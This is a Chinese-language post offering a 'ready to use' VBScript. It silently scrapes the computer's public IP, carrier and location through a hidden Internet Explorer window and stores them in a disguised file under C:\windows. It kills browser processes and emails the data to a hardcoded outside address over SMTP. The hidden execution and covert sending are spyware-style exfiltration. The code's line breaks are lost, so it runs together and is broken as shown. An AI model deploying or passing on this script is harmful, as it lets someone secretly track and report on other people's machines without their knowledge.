vbs-获取公网IP调用邮件控件实现邮件的自动发送到指定邮箱-可直接使用复制使用

vbs-获取公网IP调用邮件控件实现邮件的自动发送到指定邮箱-可直接使用复制使用

on error resume nextset ie=CreateObject("internetexplorer.application")ie.navigate("http://ip.cn/")ie.Visible=FalseWhile ie.busy Or ie.readystate <> 4WEndSet regEx = New RegExp regEx.Pattern = "{联通|移动|电信}"Set Matches = regEx.Execute(ie.document.body.innerhtml)For Each Match in MatchesCOSP=Match.ValueNextSub EchoMsg(str)Wscript.Echo strEnd Subon error resume nextset ie=CreateObject("internetexplorer.application")ie.navigate("http://ip.cn/")ie.Visible=FalseWhile ie.busy Or ie.readystate <> 4WEndSet regEx = New RegExp regEx.Pattern = "来自.*"&COSP&""Set Matches = regEx.Execute(ie.document.body.innerhtml)ie.quitFor Each Match in MatchesFROM=Match.Value'定义标题定义为ＦＯＲＭNextSet ws = CreateObject("Wscript.Shell") ws.run "%comspec% /c @echo "&FROM&" > C:\windows\systemct.org",vbhideSub EchoMsg(str)Wscript.Echo strEnd Sub'----------------------------------------------------------------------------on error resume nextset ie=CreateObject("internetexplorer.application")ie.navigate("http://ip.cn/")ie.Visible=FalseWhile ie.busy Or ie.readystate <> 4WEndSet regEx = New RegExpregEx.Pattern ="\d.*\d"Set Matches = regEx.Execute(ie.document.body.innerhtml)ie.quitFor Each Match in MatchesRetStr=Match.Value　'获取公网IP定义变量为RetStrNextSet ws = CreateObject("Wscript.Shell") ws.run "%comspec% /c @echo 公IP："&RetStr&" >> C:\windows\systemct.org",vbhideSub EchoMsg(str)Wscript.Echo strEnd Sub'杀死浏览器进程On Error Resume Next sub Close_Process(ProcessName) On Error Resume Next      for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_            if Ucase(ps.name)=Ucase(ProcessName) then                  ps.terminate            end if      next end sub Close_Process("iexplore.exe")Close_Process("iexplore.exe")'--------------------------------------------------------------------------------NameSpace = "http://schemas.microsoft.com/cdo/configuration/"Set Email = CreateObject("CDO.Message")'Email.From = "＊@163.com"'发件地址Email.From = "＊@163.com"Email.To = "738349140@qq.com"'收件地址Email.Subject = ""&FROM&""Email.Textbody = "公网IP："&RetStr&""Email.AddAttachment "C:\windows\systemct.org"With Email.Configuration.Fields.Item(NameSpace&"sendusing") = 2.Item(NameSpace&"smtpserver") = "smtp.163.com" 'ｍａｉｌ服务器地址提示，貌似只有１６３可以用.Item(NameSpace&"smtpserverport") = 25.Item(NameSpace&"smtpauthenticate") = 1.Item(NameSpace&"sendusername") = "＊"'登陆账号名.Item(NameSpace&"sendpassword") = "＊"'登陆密码.UpdateEnd WithEmail.Send